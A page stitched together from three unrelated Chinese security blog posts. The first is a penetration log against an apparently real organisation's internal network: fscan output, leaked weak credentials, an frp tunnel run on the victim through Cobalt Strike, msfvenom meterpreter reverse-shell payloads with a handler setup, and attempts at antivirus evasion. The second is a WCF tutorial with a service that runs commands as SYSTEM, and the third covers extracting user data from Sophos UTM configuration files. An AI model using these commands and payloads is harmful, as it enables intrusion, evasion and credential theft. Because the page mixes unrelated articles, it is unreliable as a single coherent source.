(icmp) Target 172.16.2.33     is alive
(icmp) Target 172.16.2.31     is alive
(icmp) Target 172.16.2.60     is alive
(icmp) Target 172.16.2.70     is alive
(icmp) Target 172.16.2.72     is alive
(icmp) Target 172.16.2.80     is alive
(icmp) Target 172.16.2.81     is alive
(icmp) Target 172.16.2.86     is alive
(icmp) Target 172.16.2.84     is alive
(icmp) Target 172.16.2.85     is alive
(icmp) Target 172.16.2.82     is alive
(icmp) Target 172.16.2.100    is alive
(icmp) Target 172.16.2.111    is alive
(icmp) Target 172.16.2.117    is alive
(icmp) Target 172.16.2.120    is alive
(icmp) Target 172.16.2.83     is alive
(icmp) Target 172.16.2.138    is alive
(icmp) Target 172.16.2.146    is alive
(icmp) Target 172.16.2.150    is alive
(icmp) Target 172.16.2.170    is alive
(icmp) Target 172.16.2.190    is alive
(icmp) Target 172.16.2.195    is alive
(icmp) Target 172.16.2.200    is alive
(icmp) Target 172.16.2.87     is alive
(icmp) Target 172.16.2.254    is alive
[*] Icmp alive hosts len is: 35
172.16.2.38:22 open
172.16.2.120:21 open
172.16.2.20:22 open
172.16.2.37:22 open
172.16.2.150:21 open
172.16.2.117:22 open
172.16.2.82:22 open
172.16.2.111:22 open
172.16.2.81:22 open
172.16.2.72:22 open
172.16.2.70:22 open
172.16.2.45:21 open
172.16.2.60:22 open
172.16.2.37:80 open
172.16.2.11:80 open
172.16.2.200:22 open
172.16.2.83:22 open
172.16.2.150:22 open
172.16.2.170:22 open
172.16.2.146:22 open
172.16.2.138:22 open
172.16.2.120:80 open
172.16.2.84:80 open
172.16.2.81:80 open
172.16.2.85:80 open
172.16.2.86:80 open
172.16.2.70:80 open
172.16.2.60:80 open
172.16.2.87:22 open
172.16.2.11:135 open
172.16.2.20:135 open
172.16.2.5:135 open
172.16.2.83:80 open
172.16.2.200:80 open
172.16.2.170:80 open
172.16.2.82:80 open
172.16.2.117:80 open
172.16.2.11:139 open
172.16.2.20:139 open
172.16.2.9:139 open
172.16.2.5:139 open
172.16.2.195:135 open
172.16.2.190:135 open
172.16.2.100:135 open
172.16.2.84:135 open
172.16.2.195:139 open
172.16.2.190:139 open
172.16.2.170:139 open
172.16.2.150:139 open
172.16.2.120:139 open
172.16.2.100:139 open
172.16.2.84:139 open
172.16.2.60:139 open
172.16.2.84:443 open
172.16.2.85:443 open
172.16.2.86:443 open
172.16.2.80:443 open
172.16.2.72:443 open
172.16.2.70:443 open
172.16.2.60:443 open
172.16.2.11:443 open
172.16.2.87:443 open
172.16.2.9:445 open
172.16.2.5:445 open
172.16.2.170:443 open
172.16.2.83:443 open
172.16.2.120:443 open
172.16.2.82:443 open
172.16.2.81:443 open
172.16.2.170:445 open
172.16.2.150:445 open
172.16.2.120:445 open
172.16.2.100:445 open
172.16.2.84:445 open
172.16.2.60:445 open
172.16.2.20:445 open
172.16.2.11:445 open
172.16.2.5:5432 open
172.16.2.138:3306 open
172.16.2.38:3306 open
172.16.2.195:1433 open
172.16.2.190:1433 open
172.16.2.11:1433 open
172.16.2.195:445 open
172.16.2.190:445 open
172.16.2.100:8080 open
172.16.2.45:8080 open
172.16.2.9:135 open
172.16.2.86:8000 open
172.16.2.80:80 open
172.16.2.200:5432 open
172.16.2.111:5432 open
172.16.2.120:8080 open
172.16.2.150:9000 open
172.16.2.9:5432 open
172.16.2.85:8000 open

[+] received output:
172.16.2.20:88 open

[+] received output:
172.16.2.100:1099 open
172.16.2.80:2020 open
172.16.2.11:3128 open
172.16.2.120:3128 open

[+] received output:
172.16.2.11:7070 open
172.16.2.70:7070 open
172.16.2.100:7070 open
172.16.2.84:7070 open
172.16.2.100:8009 open

[+] received output:
172.16.2.120:8081 open
172.16.2.100:8083 open
172.16.2.80:8084 open

[+] received output:
172.16.2.72:8200 open
172.16.2.86:8300 open
172.16.2.85:8300 open
172.16.2.20:8443 open

[+] received output:
172.16.2.86:9080 open
172.16.2.85:9080 open
172.16.2.80:9084 open
172.16.2.80:9087 open

[+] received output:
172.16.2.150:9443 open
172.16.2.84:10001 open
172.16.2.84:10002 open

[+] received output:
[*] alive ports len is: 120
start vulscan
[*] NetInfo:
[*]172.16.2.100
   [->]AMEPROWEBEGAD
   [->]172.16.2.100
[*] NetInfo:
[*]172.16.2.84
   [->]ame-ro-nas
   [->]172.16.2.84
[*] NetInfo:
[*]172.16.2.5
   [->]db_ame
   [->]172.16.2.5
[*] NetInfo:
[*]172.16.2.9
   [->]backu
   [->]172.16.2.9
[*] NetInfo:
[*]172.16.2.11
   [->]Srv-Ant-Kas1
   [->]172.16.2.11
[*] WebTitle: https://172.16.2.11       code:200 len:102    title:None
[*] 172.16.2.9  (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://172.16.2.117       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.16.2.190    AMEPRODBSIG01.ame.local             Windows Server 2016 Standard 14393 
[*] NetBios: 172.16.2.11     Srv-Ant-Kas1.ame.local              Windows Server 2012 Standard 9200 
[*] NetBios: 172.16.2.9      backup.ame.local                    Windows Server 2003 3790 Service Pack 2 
[*] WebTitle: https://172.16.2.82       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82/restgui/start.html
[*] WebTitle: http://172.16.2.120:3128  code:400 len:3157   title:ERROR: The requested URL could not be retrieved
[*] WebTitle: http://172.16.2.200       code:403 len:4897   title:Apache HTTP Server Test Page powered by CentOS
[*] WebTitle: http://172.16.2.84        code:401 len:0      title:None
[*] WebTitle: https://172.16.2.87       code:200 len:83     title:None
[+] Postgres:172.16.2.200:5432:postgres 123456
[*] WebTitle: http://172.16.2.80        code:301 len:0      title:None ÞÀ│Þ¢¼url: https://172.16.2.80:443/
[*] WebTitle: http://172.16.2.82        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82:443/
[*] 172.16.2.100  (Windows 10 Pro 19044)
[*] WebTitle: http://172.16.2.11        code:302 len:0      title:None ÞÀ│Þ¢¼url: https://172.16.2.11/
[*] WebTitle: http://172.16.2.83        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83:443/
[*] WebTitle: http://172.16.2.86        code:301 len:56     title:None ÞÀ│Þ¢¼url: https://172.16.2.86/
[*] WebTitle: http://172.16.2.81        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81:443/
[*] WebTitle: http://172.16.2.100:8083  code:404 len:0      title:None
[*] NetBios: 172.16.2.195    AMEPRODBSIG01P.ame.local            Windows Server 2016 Standard 14393 
[*] WebTitle: http://172.16.2.11:3128   code:404 len:196    title:404 Not Found
[*] WebTitle: https://172.16.2.83       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83/restgui/start.html
[*] WebTitle: https://172.16.2.86       code:200 len:258    title:None
[*] WebTitle: https://172.16.2.70       code:200 len:4149   title:Management
[*] WebTitle: http://172.16.2.150:9000  code:200 len:3509   title:Twonky Server
[*] WebTitle: https://172.16.2.85       code:200 len:258    title:None
[*] WebTitle: http://172.16.2.70        code:302 len:265    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.70/
[*] WebTitle: https://172.16.2.20:8443  code:302 len:83     title:None ÞÀ│Þ¢¼url: https://172.16.2.20:8443/Login/Index
[*] WebTitle: https://172.16.2.72       code:301 len:84     title:None ÞÀ│Þ¢¼url: https://172.16.2.72/appwall-webui
[*] WebTitle: https://172.16.2.80       code:200 len:3618   title:" + ID_VC_Welcome + "
[*] WebTitle: https://172.16.2.81       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81/restgui/start.html
[*] WebTitle: http://172.16.2.120       code:200 len:553    title:None
[*] WebTitle: http://172.16.2.37        code:302 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.37/app_Login
[*] WebTitle: https://172.16.2.80:8084  code:501 len:0      title:None
[*] NetBios: 172.16.2.170    AME\SYNOLOGYAME                
[*] WebTitle: https://172.16.2.86:9080  code:202 len:0      title:None
[*] WebTitle: https://172.16.2.120      code:200 len:553    title:None
[*] WebTitle: https://172.16.2.120:8081 code:403 len:266    title:403 Forbidden
[*] WebTitle: https://172.16.2.80:9087  code:404 len:103    title:None
[*] WebTitle: http://172.16.2.80:9084   code:404 len:103    title:None
[*] WebTitle: http://172.16.2.45:8080   code:303 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.45:8080/home.htm
[*] WebTitle: https://172.16.2.60       code:200 len:6391   title:None
[*] WebTitle: http://172.16.2.60        code:200 len:6391   title:None
[*] WebTitle: http://172.16.2.120:8080  code:403 len:266    title:403 Forbidden
[+] 172.16.2.5  MS17-010    (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://172.16.2.170       code:200 len:543    title:None
[*] 172.16.2.84  (Windows Storage Server 2016 Standard 14393)
[*] WebTitle: http://172.16.2.85        code:301 len:56     title:None ÞÀ│Þ¢¼url: https://172.16.2.85/
[*] 172.16.2.120  (Unix)
[*] 172.16.2.150  (Windows 6.1)
[*] 172.16.2.60  (Windows 6.1)
[*] NetBios: 172.16.2.120    NVR\NVRAME                          Unix 
[*] NetBios: 172.16.2.84     ame-pro-nas.ame.local               Windows Storage Server 2016 Standard 14393 
[*] NetBios: 172.16.2.60     AME\nas-60                          Windows 6.1 
[*] WebTitle: https://172.16.2.170      code:200 len:543    title:None

[+] received output:
[*] WebTitle: https://172.16.2.85/      code:200 len:258    title:None
[*] WebTitle: https://172.16.2.86/      code:200 len:258    title:None
[*] WebTitle: https://172.16.2.11/      code:200 len:102    title:None
[*] WebTitle: https://172.16.2.80:443/  code:200 len:3618   title:" + ID_VC_Welcome + "
[*] WebTitle: https://172.16.2.70/      code:200 len:4149   title:Management
[*] WebTitle: https://172.16.2.20:8443/Login/Index code:200 len:2839   title:Zentyal
[*] WebTitle: https://172.16.2.85:9080  code:202 len:0      title:None
[*] WebTitle: http://172.16.2.70:7070   code:404 len:201    title:None
[*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458   title:None
[+] InfoScan:https://172.16.2.80       [VMware vSphere] 
[*] WebTitle: https://172.16.2.83/restgui/start.html code:200 len:2458   title:None
[*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458   title:None
[*] WebTitle: http://172.16.2.72:8200   code:301 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.72:8200/Console/
[*] WebTitle: http://172.16.2.72:8200/Console/ code:404 len:0      title:None
[*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458   title:None
[*] NetBios: 172.16.2.150    wdmycloud                           Windows 6.1 
[+] InfoScan:https://172.16.2.80:443/  [VMware vSphere] 
[*] WebTitle: https://172.16.2.72/appwall-webui/ code:200 len:4366   title:Radware Security Console
[*] WebTitle: http://172.16.2.45:8080/logon.htm code:200 len:2872   title:APC | Log On
[*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458   title:None
[*] WebTitle: http://172.16.2.37/app_Login/ code:200 len:860    title:None

[+] received output:
ÕÀ▓Õ«îµêÉ 65/121 [-] ftp://172.16.2.45:21 wwwroot 123456!a 421 Service not available, closing control connection.

[+] received output:
ÕÀ▓Õ«îµêÉ 109/121 [-] ssh 172.16.2.87:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
[+] SSH:172.16.2.87:22:admin admin

[+] received output:
ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.70:22 admin test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.150:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 113/121 [-] ssh 172.16.2.38:22 admin abc123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 114/121 [-] ssh 172.16.2.117:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 wwwroot 1 Permission denied.

[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data 123456 Permission denied.

[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data sysadmin Permission denied.

[+] received output:
ÕÀ▓Õ«îµêÉ 121/121
[*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 10m41.0832671s

2、fscan扫描出来的漏洞,一处postgres弱口令,一处ms17-010,一处ssh弱口令

Postgres:172.16.2.200:5432:postgres 123456
172.16.2.5  MS17-010    (Windows Server 2003 3790 Service Pack 2)
SSH:172.16.2.87:22:admin admin

frp代理

1、由于无法提权成功,所以我们决定换一种思路,先拿下内网中其他主机,提权到管理员权限,最后再对域控渗透。

2、服务器frps.ini设置

[common] 
bind_addr = 0.0.0.0 
bind_port = 7080 
token = admin123 
dashboard_user = admin 
dashboard_pwd = admin123

3、启动服务端

./frps -c ./frps.ini

wgtur5ckbyn14812.jpg

4、frpc.ini配置如下

[common] 
server_addr = xx.xx.xx.xx
server_port = 7080 
token = admin123 
tls_enable=true 
pool_count=5 

[plugin_socks] 
type = tcp 
remote_port = 4566
plugin = socks5 
plugin_user = admin 
plugin_passwd = admin123 
use_encryption = true 
use_compression = true

5、将frpc.exe和frpc.ini上传到受害机

6、CS中运行命令

shell "C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.exe -c C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.ini"

4qb3w4dcsgw14814.jpg

7、在服务器上可以看到,已经有连接返回了

440pkzvtd4j14819.jpg

8、在攻击机火狐浏览器foxyproxy插件中配置代理服务器

fipdxgt3wpy14824.jpg

9、在火狐浏览器中访问https://172.16.2.72/appwall-webui/成功,说明frp内网穿透成功

io2zwgx41iv14827.png

10、为了方便测试,使用proxifier作为全局代理


fxqmbauu01w14829.jpg

msf上线

1、因为扫出来一个ms17010,所以我们需要针对此漏洞进行利用,我选用目前公开的一些工具,虽然都没有免杀,但还是记录一下

kali linux

1、kali Linux中设置proxychains后无法使用,也没有找到原因,因为proxychains只支持http代理,我搭建的环境可以,但真实环境就不得行,搞不懂,有知道的大佬请指点一二,在下感激不尽!

潮汐在线免杀

1、Metasploit 生成 C

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

ia4yeyahadx14835.jpg

3、将生成的shellcode添加到潮汐shellcode免杀中,生成exe文件

1dgouofejup14837.jpg

4、上传执行后被杀软杀掉

eabvlncwn5h14840.jpg

Ant-AntV免杀

1、msf生成bin文件

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=5555 -f raw -o 1.bin

lwkddbk4knm14845.png

2、将1.bin放到当前bean_raw路径下。执行python3 gen_trojan.py即可在当前dist目录下生成exe文件。

3、将exe文件上传到目标机器,执行shell C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/mail_update_a50ca.exe无法成功反弹shell,应该是被杀软杀了,因为我本地测试可以正常反弹

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.123.33
set LPORT 5555
exploit

sqebxnrgxg014851.jpgb2nxgwuanib14858.jpg

CuiRi免杀

1、msf生成shellcode

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

2、生成免杀马

.\cuiri_win64.exe -f msf.txt

pgkda1z5gg114865.jpg

3、将生成的木马上传到目标主机,执行shell C:\usr\desarrollo\jboss-5.1.0.GA\server\sigAmeServer\deploy\ROOT.war\main.exe无法反弹shell,本地测试也是无法反弹shell

hf5s1te13yv14869.jpg

AniYa免杀

1、生成免杀马

2rnfgjjhtht14873.jpg

2、将exe文件上传执行,无法绕过杀软,在本地测试可以成功上线

vnd4c0p4nlu14876.jpg

Postgresql getshell

1、由于msf无法绕过杀软,我们决定从Postgresql入手,寻找突破点

2、开启proxifier代理工具

3、使用navicat连接postgresql

a3eeyoqjocn14883.jpg

4、但是该机器是centos系统,我们要找的是Windows系统,所以先放弃这条路。

ys3ejaksfyj14889.jpg

VMware vSphere

1、有网站使用的是VMware vSphere

jl4gafprvj114895.jpg

2、Google搜索一下VMware vSphere漏洞,有的版本存在RCE漏洞,决定尝试一下,发现不存在漏洞

ggk4dgx0mhi14901.jpg

总结

1、针对此次内网渗透,我需要抓紧学习免杀相关的知识,目前公开的工具已经不能byAV。

2、kali Linux的proxychains代理在实战无法使用,后面我要去寻找原因。

3、fscan扫描出内网一些网站,我没有做深入的测试,因为时间确实不够了。

原文链接: https://xz.aliyun.com/t/12141

0x00 前言Windows Communication Foundation (WCF)是用於在.NET Framework中構建面向服務的應用程序的框架。本文將要介紹WCF開發的相關內容,為後續介紹的內容作鋪墊。

0x01 簡介本文將要介紹以下內容:

使用basicHttpBinding實現WCF

使用NetTcpBinding實現WCF

通過命令行實現WCF

通過IIS實現WCF

通過服務實現WCF

0x02 基礎知識參考資料:

https://docs.microsoft.com/en-us/dotnet/framework/wcf/whats-wcf

常用的傳輸協議:

HTTP,http://localhost:8080/

TCP,net.tcp://localhost:8080/

IPC,net.pipe://localhost/

常用的Binding:

BasicHttpBinding

WSHttpBinding

NetTcpBinding

NetNamedPipeBinding

元數據發布(metadata exchange),簡稱MEX

WCF默認禁用MEX,這樣能夠避免數據洩露

本著逐步深入的原則,本系列文章選擇先介紹開啟MEX的用法,這樣能夠提高客戶端開發的效率,禁用MEX的用法將放在下篇文章進行介紹。

0x03 使用basicHttpBinding實現WCF本節採用命令行實現WCF的方式作為示例

開發工具:Visual Studio 2015

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為basicHttpBindingWCFServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)編譯運行

命令行輸出服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/

服務地址也可以在工程中的App.config查看

(6)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

注:

App.config由Visual Studio自動生成,服務地址由App.config隨機指定,這裡也可以通過代碼的方式指定服務地址,不需要依賴App.config,方法如下:

Program.cs示例:

image.png

App.config示例:

image.png

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為basicHttpBindingWCFClient

(2)引用服務

選擇Add-Service Reference.

填入URL:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/

(3)修改Program.cs

代碼示例:

image.png

(4)編譯運行

此時服務端命令行輸出Run Server.DoWork(),方法調用成功

0x04 使用NetTcpBinding實現WCF本節採用命令行實現WCF的方式作為示例

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NetTcpBindingWCFServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)修改App.config

Line10: serviceMetadata httpGetEnabled='true' httpsGetEnabled='true' /

修改為: serviceMetadata httpGetEnabled='false' httpsGetEnabled='false' /

Line17: endpoint address='' binding='basicHttpBinding' contract='NetTcpBindingWCFServer.IService1'

修改為: endpoint address='' binding='netTcpBinding' contract='NetTcpBindingWCFServer.IService1'

Line22: endpoint address='mex' binding='mexHttpBinding' contract='IMetadataExchange' /

修改為: endpoint address='mex' binding='mexTcpBinding' contract='IMetadataExchange' /

Line25: add baseAddress='http://localhost:8733/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' /

修改為: add baseAddress='net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' /

完整代碼示例:

image.png

(6)編譯運行

命令行輸出服務地址:net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/

(7)測試

此時開啟了MEX,可選擇以下方法進行測試:

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NetTcpBindingWCFClient

方法同0x03中的2.客戶端編寫

0x05 通過IIS實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致

1.服務端編寫(1)新建項目

選擇Visual C#-WCF-WCF Service Library,名稱為WcfServiceLibrary1

(2)發布

選中項目,右鍵-Publish.設置Target location為c:\wcfdemo

(3)在IIS管理頁面下新建網站

設置以下參數:

Site name:wcfdemo

Physical path:c:\wcfdemo

IP address: All unassigned

Port:81

選中網站wcfdemo,進入Content View

選中WcfServiceLibrary1.Service1.svc,右鍵-Browse,得到URL:http://localhost:81/WcfServiceLibrary2.Service1.svc

(4)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:81/WcfServiceLibrary2.Service1.svc,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:81/WcfServiceLibrary2.Service1.svc,調用GetData(),獲得返回值,方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:81/WcfServiceLibrary2.Service1.svc,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

0x06 通過服務實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致

1.使用basicHttpBinding實現服務端

(1)新建項目

選擇Visual C#-Console Application,名稱為WCFService

(2)新建Windows Service

選擇Add-New Item.選擇Windows Service,名稱為Service1.cs

(3)設置服務信息

選中Service1.cs,右鍵-Add Installer

項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1

選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem

選中serviceInstaller1組件,查看屬性,設置ServiceName為VulServiceTest1

(4)編輯Program.cs

image.png

image.png

(5)啟動服務

編譯生成WCFService.exe

安裝服務:

image.png

啟動服務:

image.png

補充:卸載服務

image.png

(6)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:1112/TestService,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:1112/TestService,調用RunMe(),在str對應的Value輸入calc,執行後啟動system權限的calc,方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:1112/TestService /out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

2.使用NetTcpBinding實現服務端

方法同上,區別在於Program.cs,示例代碼如下:

image.png

image.png

注:

服務端設置了HttpGetUrl:http://localhost:1114/TestService

0x07 小結本文介紹了在啟用元數據發布(MEX)時WCF開發的相關內容,下一篇將要介紹關閉元數據發布(MEX)時WCF開發的相關內容。

0x00 前言對於Sophos UTM設備,介紹利用方法的資料很少,本文將要介紹從零研究導出配置文件的過程,記錄細節,開源利用腳本。

0x01 簡介本文將要介紹以下內容:

Sophos UTM測試環境搭建

導出配置文件的研究過程

開源腳本

0x02 Sophos UTM測試環境搭建1.下載鏡像下載頁面:https://www.sophos.com/en-us/support/downloads/utm-downloads

這裡選擇版本9.711-5.1,分別有以下兩個鏡像文件:

ssi-9.711-5.1.iso,需要在Sophos設備上安裝,如果直接在VM中安裝,會提示'No appliance hardware has been detected' on appliance hardware

asg-9.711-5.1.iso,可在VM中安裝

測試環境使用VMware搭建,所以下載asg-9.711-5.1.iso

2.安裝鏡像配置好後等待系統重啟,訪問配置頁面:https://ip :4444/

設置admin account password,作為登錄配置頁面的用戶名和口令

3.配置需要填入License

4.開啟ssh登錄進入配置頁面後,依次選擇Management-System Settings-Shell Access,分別設置root用戶和loginuser用戶的口令

如下圖

b530cdf7a41d94e6689cc4bdf0e96a1.png

5.允許root用戶口令登錄sshsed-i's/PermitRootLoginno/PermitRootLoginyes/g'/etc/ssh/sshd_config

/var/mdw/scripts/sshdrestart0x03 導出配置文件的研究過程1.查詢postgresql數據庫配置文件的位置:/var/storage/pgsql92/data/postgresql.conf

默認配置下,連接數據庫不需要口令

連接命令:

psql-hlocalhost-Upostgres數據庫內容如下圖

49e2ee52ff31e485e5037576a911104.png

但我在數據庫中沒有找到配置信息

2.查詢文檔獲得查看配置的思路依次執行以下命令:

cc

webadmin

port$獲得了webadmin的port信息,如下圖

d28c5771af3f08a4229e8cc6d4d2fc1.png

從輸出內容上,發現cc命令連接了127.0.0.1的4472端口,接下來打算從端口入手

3.定位同4472端口相關的進程獲得4472端口對應的進程pid:

netstat-ltp|grep4472返回內容如下圖

621e7e46b449960b11096a59a03ecfd.png

從返回內容可以看到對應的進程pid為4407

4.查看pid 4407的進程信息依次執行以下命令:

cd/proc/4407/cwd

ls返回內容如下圖

386ae6b895d3fb67515ee5cce4e206e.png

從返回內容獲得以下信息:

目錄為/var/confd

配置文件為config.pm

主程序為confd.plx,無法直接查看源代碼

5.反編譯confd.plx經過搜索,在《网络设备分析实战 | Sophos UTM固件反编译Perl源码》 獲得提示:plx文件是由PerlAPP工具編譯而來,可通過動態調試的方法使用IDA反編譯出源碼

經過搜索,在《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 獲得更為簡單的反編譯方法:通過Python實現靜態反編譯

參照《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中的方法在反編譯confd.plx的過程中,會遇到bug,我們需要修改《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中提到的bfs_extract.py

整合yank.py和bfs.py,修復bfs_extract.py中的bug,完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_plxDecrypter.py

使用SophosUTM_plxDecrypter.py能夠獲得confd.plx的反編譯代碼

6.代碼分析經過分析,得知Export-confd.plx\confd.pl為主要功能,在代碼中發現配置文件的位置為$config:storage_dir/cfg

如下圖

60ddeb2d269773114168fecddb223c8.png

對應的絕對路徑為/var/confd/var/storage/cfg

7.文件格式分析查看cfg的文件格式:

file/var/confd/var/storage/cfg返回結果:

/var/confd/var/storage/cfg:perlStorable(v0.7)data(major2)(minor7)得知格式為perl Storable data,這是Perl經過序列化(Perl中稱為凍結)生成的二進制數據

8.文件格式解析(1)文件提取

這裡可以使用Python的storable模塊提取數據

安裝storable模塊:

pipinstallstorable簡單使用:

fromstorableimportretrieve

data=retrieve('cfg')

print(data)輸出結果為json數據

(2)文件分析

為了便於分析json數據,這裡使用Sublime Text的pretty json插件,安裝方法如下:

在Sublime text中依次選擇Tools - Command Palette.打開面板,輸入pci,選中PackageControl: Install Package,在彈出的輸出框中填入pretty json

設置調用pretty json插件的快捷鍵為ctrl+alt+j:

在Sublime Text中依次選擇Preferences - Key Bindings,在彈出的右側窗口添加如下內容:

[

{'keys':['ctrl+alt+j'],'command':'pretty_json'},

]在使用pretty json解析json時會提示格式錯誤,按照提示逐個修復即可

最終顯示的格式如下圖

631f7de722fed7fec962e64f8bfa2bf.png

9.數據提取為了提高效率,這裡可以使用Python提取出關鍵數據,開發細節如下:

(1)提取用戶信息

通過分析json文件,發現data['exclusive'][b'email_user']['u2v']中的key為每個用戶信息的標誌,例如user: REF_AaaUseVpn1

再通過對應標誌位置的鍵值能夠獲取用戶的完整信息,位置為data['objects'][ flag ]['data'],對應例子的位置為data['objects']['REF_AaaUseVpn1']['data']

實現代碼:

defGetUserDataFull(file):

data=retrieve(file)

print('[*]Trytogetthefulldataofuser')

forkey,valueindata['exclusive'][b'email_user']['u2v'].items():

index=key.rfind(':')

indexobject=data['objects'][key[index+1:]]['data']

print('[+]'+data['objects'][key[index+1:]]['data']['name'])

forkey1,value1inindexobject.items():

print(''+str(key1)+':'+str(value1))(2)提取網絡配置信息

通過分析json文件,發現data['index']['network']中的value為每個網絡配置的標誌,例如REF_DefaultInternalNetwork

再通過對應標誌位置的鍵值讀取完整信息,位置為data['objects'][ flag ]['data'],對應例子的位置為data['objects']['REF_DefaultInternalNetwork']['data']

實現代碼:

defGetNetworkConfig(file):

data=retrieve(file)

